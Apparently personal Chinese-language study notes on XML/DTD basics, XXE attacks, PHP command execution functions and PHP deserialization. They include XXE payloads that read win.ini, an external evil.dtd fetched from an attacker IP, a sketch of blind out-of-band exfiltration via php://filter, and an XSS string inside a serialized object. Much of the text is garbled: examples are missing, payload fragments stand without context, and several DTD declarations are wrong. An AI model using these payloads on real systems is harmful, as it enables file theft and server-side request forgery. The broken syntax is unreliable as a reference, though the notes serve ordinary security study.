这几个学得都有点蒙,学得不是很认真,学不下去感觉。不知道学了些什么,也可能是自己身体原因。挺痛苦的。
XXE
xxe是服务ssrf的。
要利用xxe还得需要学会xml和dtd是什么怎么样用的
xml
文档用来记录内容的
xml就由以下构成
元素
属性
实体
PCDATA
CDATA
元素
元素是 XML 以及 HTML 文档的主要构建模块。
HTML 元素的例子是 "body" 和 "table"。XML 元素的例子是 "note" 和 "message" 。元素可包含文本、其他元素或者是空的。空的 HTML 元素的例子是 "hr"、"br" 以及 "img"。
实例:
some text
some text
属性可提供有关元素的额外信息。
属性总是被置于某元素的开始标签中。属性总是以名称/值的形式成对出现的。下面的 "img" 元素拥有关于源文件的额外信息:
元素的名称是 "img"。属性的名称是 "src"。属性的值是 "computer.gif"。由于元素本身为空,它被一个 " /" 关闭。 * * * ## 实体 实体是用来定义普通文本的变量。实体引用是对实体的引用。
大多数同学都了解这个 HTML 实体引用:" "。这个"无折行空格"实体在 HTML 中被用于在某个文档中插入一个额外的空格。
当文档被 XML 解析器解析时,实体就会被展开。
PCDATA
PCDATA 的意思是被解析的字符数据(parsed character data)。
可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
文本中的标签会被当作标记来处理,而实体会被展开。
不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它们。
CDATA
CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
XML 必须包含根元素,它是所有其他元素的父元素,比如以下实例中 root 就是根元素:
<root>
<child>
<subchild>.....</subchild>
</child>
</root>
以下实例中 note 是根元素:
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
XML 标签对大小写敏感。标签 与标签 是不同的
语法大致与HTML相同
XML就是一个记东西的
XML 用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素(XML 不会做任何事情。XML 被设计用来结构化、存储以及传输信息)
<?xml version=”1.0” encoding="gb2312" encoding=”UTF-8”?> //xml 声明、版本、编码
<!DOCTYPE root system "http://www.XXXX.com/file"[ //定义 DTD 文件,格式为:root 指定根节点名称,system 声明要使用的外部 DTD 文件路径,后面加文件 URL,注意[]包裹。
<!ELEMENT root (other)> // 元素声明,声明 xml 中包含的元素,声明中需要指定元素名root、other 等)和元素类别、内容等
<!ELEMENT to (#PCDATA)>
// <!--定义 to 元素为”#PCDATA”类型-->
<!ELEMENT generalentity "content" > //ELEMENT 标签用于声明实体,关于实体的定义如下:
“实体是用于定义引用普通文本或特殊字符的快捷方式的变量”实体是在 DTD 文件中定义
的变量,xml 解析器解析 xml 文件的时候,会将被的引用替换为实体内容,实体分为:预定义实体、普通实体、参数实体,此处定义了普通实体 generalentity,内容为 content
<!ELEMENT % extendentity SYSTEM "http://www.XXXX.com/file"> //定义参数实体,格式为:<!ELEMENT % 参数名称 参数内容>引用格式:%参数名称参数实体只能在 DTD 文件中引用,内部 DTD 文件的参数引用只能出现于 DTD 标签可出现的位置,外部 DTD 文件参数实体的引用可以出于 DTD 标签内容,比如:<!ELEMENT %
"%another">
%extendentity; //引用参数外部实体
文档结构
<!--XML 声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义 note 元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义 to 元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义 from 元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义 head 元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义 body 元素为”#PCDATA”类型-->
]]]>
<!--下面为文档元素-->
<note>
<to>Dave</to> //调用 Dave 实体(此步骤不可缺)
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
DTD
在 DTD 中,XML 元素通过元素声明来进行声明。元素声明使用下面的语法:
或
空元素
空元素通过类别关键词EMPTY进行声明:
实例:
<!ELEMENT br EMPTY>
XML example:
<br />
只有 PCDATA 的元素
只有 PCDATA 的元素通过圆括号中的 #PCDATA 进行声明:
实例:
带有任何内容的元素
通过类别关键词 ANY 声明的元素,可包含任何可解析数据的组合:
实例:
带有子元素(序列)的元素
带有一个或多个子元素的元素通过圆括号中的子元素名进行声明:
或
实例:
当子元素按照由逗号分隔开的序列进行声明时,这些子元素必须按照相同的顺序出现在文档中。在一个完整的声明中,子元素也必须被声明,同时子元素也可拥有子元素。"note" 元素的完整声明是:
声明只出现一次的元素
实例:
上面的例子声明了:message 子元素必须出现一次,并且必须只在 "note" 元素中出现一次。
声明最少出现一次的元素
实例:
上面的例子中的加号(+)声明了:message 子元素必须在 "note" 元素内出现至少一次。
声明出现零次或多次的元素
实例:
上面的例子中的星号(*)声明了:子元素 message 可在 "note" 元素内出现零次或多次。
声明出现零次或一次的元素
实例:
上面的例子中的问号(?)声明了:子元素 message 可在 "note" 元素内出现零次或一次。
声明"非.../即..."类型的内容
实例:
上面的例子声明了:"note" 元素必须包含 "to" 元素、"from" 元素、"header" 元素,以及非 "message" 元素即 "body" 元素。
声明混合型的内容
实例:
上面的例子声明了:"note" 元素可包含出现零次或多次的 PCDATA、"to"、"from"、"header" 或者 "message"。
三种引用方式
1.DTD 内部声明
2.DTD 外部引用
3.引用公共 DTD
实体类别
内置实体 (Built-in entities)
字符实体 (Character entities)
通用实体 (General entities)
参数实体 (Parameter entities)
参数实体用%实体名称申明,引用时也用%实体名称;其余实体直接用实体名称申明,引用时用&实体名称。参数实体只能在 DTD 中申明,DTD 中引用;其余实体只能在 DTD 中申明,可在 xml 文档中引用
内部实体
外部实体
参数实体
或者
参数实体是在 DTD 中被引用的,而其余实体是在 xml 文档中被引用的。
***实体声明(重要)
1.内部实体声明
一个实体由三部分构成:&符号, 实体名称, 分号 (;),这里&不论在 GET 还是在 POST中都需要进行 URL 编码,因为是使用参数传入 xml 的,&符号会被认为是参数间的连接符号
<!DOCTYPE foo [<!ELEMENT foo ANY >//任意元素
<!ENTITY xxe "oldboyedu.com">]>
<foo>&xxe;</foo>
2.外部实体声明
外部引用可支持 http,file 等协议,不同的语言支持的协议不同,但存在一些通用的协议,
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>
3. 参数实体声明
例子读取evil.dtd中的内容,evil.dtd内容为c盘下的文件内容
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://192.168.0.105:8080/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>
外部 evil.dtd 中的内容。
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini"
4.引用公共实体
然后就是xxe攻击了
大致攻击
攻击者url1(192.168.1.105)搭建了dtd文件,
目标url2(192.168.1.67)存在xxe漏洞
利用xml构造,引用url1中的dtd文件(外部引用),来攻击url2
利用 xxe 漏洞可以进行拒绝服务攻击,文件读取,命令(代码)执行,SQL(XSS)注入,内外扫描端口,入侵内网站点等,内网探测和入侵是利用 xxe 中支持的协议进行内网主机和端口发现,可以理解是使用 xxe 进行 SSRF 的利用,基本上啥都能做了
一般 xxe 利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到 Payload 的执行结果或现象,无回显的情况又称为 blind xxe,可以使用外带数据通道提取数据。
可以使用外带数据通道提取数据,先使用 php://filter 获取目标文件的内容,然后将内容以 http 请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。
%remote;%int;%send;
]>
1.有回显情况:
有回显的情况可以使用如下的两种方式进行 XXE 注入攻击。
]> &xxe;
%xxe;]>
&evil;
外部 evil.dtd 中的内容。
RCE
远程代码执行/命令执行
大致分为ping,和eval两种,需要针对目标服务器的不同使用不同的代码
其实就是上传窗口哪里加上自己需要的代码,来实现命令执行
(1)执行系统命令: assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(反单引号)
(2)代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
(3)文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
(4).htaccess: SetHandler, auto_prepend_file, auto_append_file
为了节省资源,将一个对象变成可以传输的字符串
比如class类里面存了一些变量,不销毁会浪费资源,可以将该类序列号
php中函数serialize()[序列号],unserialize()[反序列化]
反序列化就是把序列化的字符串转化成对象
O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表object
1:代表对象名字长度为一个字符
S:对象的名称
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
pikachu:变量值
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
利用方式xss